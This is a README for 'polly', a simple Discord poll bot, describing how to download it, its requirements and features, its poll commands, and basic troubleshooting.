Welcome to polly! This is a simple Discord poll bot. It helps you create polls, manage votes, and connect with your friends on Discord. With admin-only access and a web dashboard, you have full control.
To get started with polly, you need to download the application.
Follow these steps to download and run the software:
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Click the download button above or visit the Releases Page to access the latest version.
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Look for the latest release in the list. You will see files available for download. Choose the one that matches your operating system.
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Download the file to your computer.
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Once the download is complete, locate the file and double-click it to run the application.
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Follow the on-screen instructions to set up the bot.
To run polly effectively, your system should meet these requirements:
- Operating System: Windows, macOS, or Linux (most recent versions recommended)
- Python: Version 3.7 or above
- Discord Account: To use the bot on your server
- Internet Connection: Required for bot operation and updates
Polly includes a range of features designed to make your poll management easy:
- Admin-Only Access: Only admins can create and manage polls for secure control.
- Web Dashboard: Access a user-friendly web interface to set up polls easily.
- Scheduled Polls: Set your polls to start at a specific time. Perfect for planning ahead.
- Voting System: Users can vote quickly and easily within Discord.
- Results History: Review past polls and their outcomes at any time.
After installing polly, follow these steps to create your first poll:
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Invite the bot to your Discord server using the provided invite link during setup.
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Use the command
!createpollfollowed by your question. For example:!createpoll "What's your favorite color?". -
Members can vote using their Discord client.
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To check results, use the command
!pollresults.
If you run into any issues while using polly, try the following:
- Ensure you have installed Python correctly. Check the installation by typing
python --versionin your command line or terminal. - Make sure the bot has the right permissions on your Discord server. It needs the ability to send messages and read message history.
- Restart the bot if it becomes unresponsive.
- If you want to learn more about using Discord bots, consider visiting the Discord Developer Portal.
- Join our community forum or Discord server for support and sharing tips.
For questions or support, you can reach out via the issues page on GitHub. We're here to help!
Thank you for using polly. Enjoy your polling experience on Discord!